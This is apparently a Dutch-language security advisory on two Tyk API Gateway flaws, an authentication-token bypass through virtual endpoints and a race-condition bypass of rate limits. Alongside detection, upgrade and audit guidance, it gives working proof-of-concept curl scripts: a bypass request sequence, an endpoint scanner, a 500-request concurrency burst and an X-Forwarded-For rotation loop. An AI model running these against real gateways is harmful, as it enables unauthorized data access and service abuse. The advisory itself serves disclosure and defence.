Tyk API Gateway CVE-2026: authenticatie-bypass & rate limiting-kwetsbaarheden

Twee kritieke beveiligingsfouten in Tyk API Gateway — een bypass van authenticatietokenvalidatie (CVE-2026-31872) en een omzeiling van quota/rate limiting (CVE-2026-31873) — stellen ongeauthenticeerde aanvallers in staat beschermde API's te benaderen en backend-diensten te overweldigen. Alle zelf gehoste Tyk-implementaties met versies 5.0–5.3 zijn getroffen. Patches zijn beschikbaar in Tyk 5.3.5 en 5.4.0.

Overzicht van de kwetsbaarheid

Tyk API Gateway, een populair opensource- en commercieel API-managementplatform geschreven in Go, blijkt twee kritieke kwetsbaarheden te bevatten die zijn authenticatiemiddleware en rate limiting-subsysteem treffen. Openbaargemaakt op 31 maart 2026, treffen deze fouten zelf gehoste Tyk Gateway-versies 5.0.x tot en met 5.3.4 en zijn ze het gevolg van logicafouten in de evaluatie van Tyk's aangepaste middlewareketen en Redis-gebaseerde quotatracking.

Tyk Cloud (SaaS)-implementaties werden stilzwijgend gepatcht op 30 maart 2026. Organisaties die zelf gehoste Tyk draaien — inclusief degenen die Tyk Operator op Kubernetes gebruiken — moeten handmatig upgraden.

CVE-2026-31872: authenticatietoken-bypass — technische diepgaande analyse

Hoofdoorzaakanalyse

CVE-2026-31872 is een kritieke fout in de evaluatie van Tyk's Go plugin-middlewareketen. Wanneer een API-definitie tegelijkertijd een virtueel eindpunt en een authenticatietokenbeleid configureert, evalueert de verzoekverwerkingspijplijn van Tyk de handler van het virtuele eindpunt vóórdat de tokenvalidatie is voltooid. Als het virtuele eindpunt een specifiek HTTP-responspatroon retourneert — specifiek een 200 OK met een lege body — markeert de authenticatiemiddleware het verzoek als vooraf geauthenticeerd en stuurt het door naar de upstream zonder het opgegeven bearer-token te verifiëren.

De fout bevindt zich in gateway/middleware/virtual_endpoint.go, waar de methode Exec() onder bepaalde responsvoorwaarden een gedeelde contextsleutel ctx.PreAuthenticated = true instelt. Deze vlag wordt vervolgens gelezen door ProcessRequest() van gateway/middleware/auth_key.go om tokenvalidatie kort te sluiten — een ontwerp bedoeld voor interne service-naar-service-aanroepen, maar dat extern kan worden getriggerd.

CVSS v3.1-scoreverdeling

Getroffen API-configuraties

Niet elke Tyk-implementatie is kwetsbaar. De authenticatie-bypass kan alleen worden getriggerd wanneer alle drie de volgende voorwaarden aanwezig zijn in een API-definitie:

• Authenticatietype is ingesteld op auth_token of jwt
• Een virtueel eindpunt is geconfigureerd voor elk pad binnen dezelfde API-definitie
• De JS-functie van het virtuele eindpunt retourneert TykJsResponse met Code: 200 en een lege of null Body

Proof of concept voor exploitatie

Het volgende demonstreert een exploit in twee stappen: eerst het triggeren van het virtuele eindpunt om de pre-auth-vlag te vergiftigen, en vervolgens onmiddellijk toegang krijgen tot een beschermd eindpunt met een ongeldig token:

# Step 1: Trigger the virtual endpoint with an empty-body 200 response
# This poisons the PreAuthenticated flag in Tyk's shared request context
curl -i -X POST https://api.example.com/v1/virtual-endpoint \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -H "Content-Type: application/json" \
  -d '{}'

# Expected response from Step 1 (virtual endpoint processes before auth):
# HTTP/2 200
# (empty body — this triggers the vulnerability)

# Step 2: Immediately access any protected endpoint on the SAME API definition
# with ANY bearer token — validation is skipped due to PreAuthenticated flag
curl -i https://api.example.com/v1/admin/users \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -H "X-Request-ID: $(uuidgen)"

# Vulnerable response:
# HTTP/2 200
# {"users": [...]}   ← Full data returned without valid auth

# Automated scanner to identify vulnerable Tyk endpoints
for path in /v1/users /v1/admin /v1/data /api/internal; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer AAAA.BBBB.CCCC" \
    "https://api.example.com${path}")
  echo "$path -> HTTP $STATUS"
done

Voorbeeld van een kwetsbare Tyk API-definitie

Het volgende API-definitiepatroon in de JSON-configuratie van Tyk triggert de kwetsbaarheid. Als uw implementatie API's bevat die overeenkomen met deze structuur, beschouw uzelf dan als risicovol totdat gepatcht:

// Vulnerable Tyk API definition (tyk-api-def.json)
{
  "auth": {
    "auth_header_name": "Authorization",
    "use_param": false
  },
  "use_keyless": false,
  "use_standard_auth": true,
  "extended_paths": {
    "virtual": [
      {
        "response_function_name": "myVirtualFunc",
        "function_source_type": "inline",
        "path": "virtual-endpoint",
        "method": "POST",
        // If this function returns {Code:200, Body:""} → triggers bypass
        "function_source_value": "function myVirtualFunc(req, session, spec) { return TykJsResponse({Code: 200, Body: ''}, session.meta_data); }"
      }
    ]
  }
}

CVE-2026-31873: rate limiting- & quota-bypass — technische diepgaande analyse

Hoofdoorzaakanalyse

CVE-2026-31873 is een race condition in de op Redis gebaseerde quota- en rate limiting-implementatie van Tyk. Wanneer Tyk gelijktijdige verzoeken van dezelfde API-sleutel verwerkt, worden de quotacontrole en quotavermindering uitgevoerd in twee afzonderlijke, niet-atomaire Redis-commando's (GET gevolgd door DECR). Een aanvaller die verzoeken verstuurt met voldoende hoge concurrency kan dezelfde pre-verminderingswaarde van de quota lezen over meerdere goroutines heen, waardoor het toegestane aantal verzoeken effectief wordt vermenigvuldigd met het aantal gelijktijdige verbindingen.

Dit is een klassieke TOCTOU-kwetsbaarheid (Time-of-Check, Time-of-Use). In de Go-code van Tyk (storage/storage.go, het pad GetRawKey + DecrementWithExpire) is er geen Redis-transactie MULTI/EXEC of op WATCH gebaseerde optimistische lock rondom de controleer-dan-verminder-logica, waardoor de quotastatus verouderd kan worden gelezen onder gelijktijdige belasting.

Proof of concept voor exploitatie

Het volgende bash-script gebruikt GNU parallel om 500 gelijktijdige verzoeken af te vuren tegen een door Tyk beschermd eindpunt geconfigureerd met een quota van 50 verz/min. Op een kwetsbare instantie zal de meerderheid slagen ondanks de limiet:

#!/bin/bash
# CVE-2026-31873 — Tyk Rate Limit TOCTOU Race PoC
# Fires 500 concurrent requests to exhaust quota without triggering limits

TARGET="https://api.example.com/v1/search"
API_KEY="tyk-valid-api-key-here"
CONCURRENCY=500

echo "Launching $CONCURRENCY concurrent requests..."

seq 1 $CONCURRENCY | parallel -j $CONCURRENCY \
  'curl -s -o /dev/null -w "%{http_code}\n" \
    -H "Authorization: '"$API_KEY"'" \
    "'"$TARGET"'?q=test&page={}"' \
  | sort | uniq -c

# Expected on patched system:
# 449  429   (rate limited)
#  51  200   (within quota)

# Expected on vulnerable system:
# 498  200   (bypass successful — almost all requests pass)
#   2  429   (only slowest requests get rate-limited)

Aanvullende bypass via headermanipulatie

Op Tyk-implementaties waar enable_ip_whitelisting false is en de gateway X-Forwarded-For vertrouwt, kan de rate limiting-sleutel ook worden gefragmenteerd door het bron-IP-header te roteren. Dit combineert met de TOCTOU-race voor een bijna-totale quota-bypass:

# Combine X-Forwarded-For rotation with concurrent requests
# Each unique IP gets its own rate limit bucket in Tyk's default config
for i in $(seq 1 1000); do
  FAKE_IP="10.$((RANDOM % 256)).$((RANDOM % 256)).$((RANDOM % 256))"
  curl -s -o /dev/null \
    -H "Authorization: tyk-valid-api-key-here" \
    -H "X-Forwarded-For: $FAKE_IP" \
    "https://api.example.com/v1/data" &
  (( i % 100 == 0 )) && wait
done
wait

Tyk Cloud vs. zelf gehost: impactvergelijking

Detectie: uitbuiting in uw omgeving identificeren

Analyse van Tyk Gateway-logs

Tyk logt authenticatiebeslissingen in gestructureerde JSON. De volgende commando's identificeren verzoeken die tokenvalidatie omzeilden (geauthenticeerd zonder geldige sleutel) en quota-uitputtingsanomalieën:

# Find requests where auth succeeded but no API key was validated
# These appear as requests with empty or placeholder auth_id fields
cat /var/log/tyk/tyk.log \
  | jq -r 'select(.level == "info" and .msg == "Proxy request") | select(.auth_id == "" or .auth_id == null)' \
  | jq '{time: .time, path: .path, ip: .remote_addr, auth_id: .auth_id}'

# Detect quota bypass: requests that succeeded after quota should be exhausted
# Look for API keys with >N successful requests in the last minute
cat /var/log/tyk/tyk.log \
  | jq -r 'select(.code == 200) | .auth_id' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 100 { print "POTENTIAL_BYPASS: " $2 " — " $1 " successful requests" }'

# Check Tyk version via the gateway HTTP API
curl -s http://localhost:8080/hello | jq '.version'

Verificatie van Redis-quotastatus

Inspecteer Redis rechtstreeks om te verifiëren of de rate limiting-tellers correct worden verhoogd:

# Connect to your Tyk Redis instance and inspect quota keys
redis-cli -h your-redis-host -p 6379 -a yourpassword

# List all rate limit keys for a specific API key
KEYS "quota-*your-api-key-prefix*"

# Check a specific quota key's current value and TTL
GET "quota-your-api-key-hash"
TTL "quota-your-api-key-hash"

# If the value is higher than your configured quota, exploitation may have occurred
# Example: if quota is 100/min but counter shows 450, investigate immediately

Remediatiegids

Stap 1: Tyk Gateway upgraden

De definitieve oplossing is upgraden naar Tyk Gateway 5.3.5 of 5.4.0. Beide releases bevatten een atomaire Redis-pijplijn voor quotabewerkingen en een herschrijving van de afhandeling van de pre-auth-vlag van het virtuele eindpunt.

# Docker — upgrade to patched image
docker pull tykio/tyk-gateway:v5.3.5
docker stop tyk-gateway && docker rm tyk-gateway
docker run -d --name tyk-gateway \
  -v $(pwd)/tyk.conf:/opt/tyk-gateway/tyk.conf \
  -v $(pwd)/apps:/opt/tyk-gateway/apps \
  -p 8080:8080 \
  tykio/tyk-gateway:v5.3.5

# Kubernetes via Helm — update Tyk Operator
helm repo add tyk-helm https://helm.tyk.io/public/helm/charts/
helm repo update
helm upgrade tyk-gateway tyk-helm/tyk-gateway \
  --namespace tyk \
  --set gateway.image.tag=v5.3.5 \
  --reuse-values

# Binary upgrade on Linux
curl -L https://github.com/TykTechnologies/tyk/releases/download/v5.3.5/tyk-linux-amd64-v5.3.5.tar.gz \
  -o tyk-v5.3.5.tar.gz
tar -xzf tyk-v5.3.5.tar.gz
sudo systemctl stop tyk-gateway
sudo cp tyk /opt/tyk-gateway/tyk
sudo systemctl start tyk-gateway

# Verify version after upgrade
curl -s http://localhost:8080/hello | jq '.version'
# Expected: "v5.3.5" or "v5.4.0"

Stap 2: virtuele eindpunten uitschakelen op door authenticatie beschermde API's (tijdelijke mitigatie)

Als onmiddellijke upgrade niet mogelijk is, schakelt u virtuele eindpunten uit op elke API-definitie die tokenauthenticatie gebruikt. Bewerk de JSON van de API-definitie en stel de lijst met virtuele paden in op leeg:

// In your Tyk API definition file — remove or empty the virtual endpoints list
{
  "extended_paths": {
    "virtual": []  // ← Set to empty array to disable virtual endpoints
  }
}

# Apply via Tyk Dashboard API
curl -X PUT https://your-tyk-dashboard:3000/api/apis/{api-id} \
  -H "authorization: your-dashboard-user-key" \
  -H "Content-Type: application/json" \
  -d @patched-api-def.json

# Or reload via hot-reload if using file-based config
kill -SIGHUP $(pgrep tyk)

Stap 3: rate limiting harden met atomaire Redis-bewerkingen (CVE-2026-31873)

Totdat u kunt upgraden, schakelt u de experimentele optie enable_redis_rolling_limiter van Tyk in, die een met Lua gescripte atomaire pijplijn in Redis gebruikt en niet kwetsbaar is voor de TOCTOU-race:

// tyk.conf — enable atomic rolling rate limiter (available in Tyk 5.0+)
{
  "enable_redis_rolling_limiter": true,
  "enable_sentinel_rate_limiter": false,
  "drl_notification_payload_size": 0,

  // Also restrict trusted IPs for X-Forwarded-For to block IP rotation bypass
  "allowed_ips": ["10.0.1.10", "10.0.1.11"],
  "enable_ip_whitelisting": true
}

Stap 4: remediatie valideren

# Test 1: Verify auth bypass is fixed — should return 401
curl -i -X POST https://your-gateway.example.com/v1/virtual-endpoint \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -d '{}'
# Expected on patched system: HTTP/2 401 Unauthorized

# Test 2: Verify rate limiting enforces correctly
for i in $(seq 1 60); do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer your-valid-key" \
    "https://your-gateway.example.com/v1/test")
  echo "Request $i: HTTP $CODE"
done
# After your quota limit, you should consistently see 429 Too Many Requests

Aanvullende hardeningaanbevelingen

1. Schakel mutual TLS (mTLS) van Tyk in voor upstream-verbindingen: zelfs als de gateway is gecompromitteerd, vereisen backend-diensten beschermd door mTLS een geldig clientcertificaat, wat een extra beschermingslaag biedt die aanvallers niet gemakkelijk kunnen omzeilen.
2. Gebruik de ingebouwde IP-rate limiting van Tyk op netwerkniveau: configureer max_conn_time en verbindingsratelimieten in uw reverse proxy (nginx/Envoy) vóór Tyk om de beschikbare concurrency voor exploitatie te beperken.
3. Audit alle API-definities op combinaties van virtueel eindpunt + authenticatie: voer de Tyk Dashboard API-export uit en grep naar API's met zowel use_standard_auth: true als een niet-lege virtual-array.
4. Schakel de analytics van Tyk in en stel quotawaarschuwingen in: configureer de Tyk Pump om analytics door te sturen naar uw SIEM (Splunk, Elastic). Stel waarschuwingen in voor elke API-sleutel die 150% van de geconfigureerde quota overschrijdt binnen een voortschrijdend venster van één minuut.
5. Roteer alle API-sleutels uitgegeven vóór de patchdatum: als exploitatie heeft plaatsgevonden, kan elke sleutel die tegen een kwetsbaar eindpunt is gebruikt, door een aanvaller zijn waargenomen. Bulkrotatie van Tyk Dashboard-sleutels kan worden gescript via de Admin API.

# Audit script: find all vulnerable API definitions (virtual + auth combo)
curl -s "https://your-dashboard:3000/api/apis?p=-1" \
  -H "authorization: your-dashboard-key" \
  | jq -r '.apis[] | select(
      .api_definition.use_standard_auth == true and
      (.api_definition.extended_paths.virtual | length > 0)
    ) | "VULNERABLE: " + .api_definition.name + " (" + .api_definition.api_id + ")"'

Openbaarmakingstijdlijn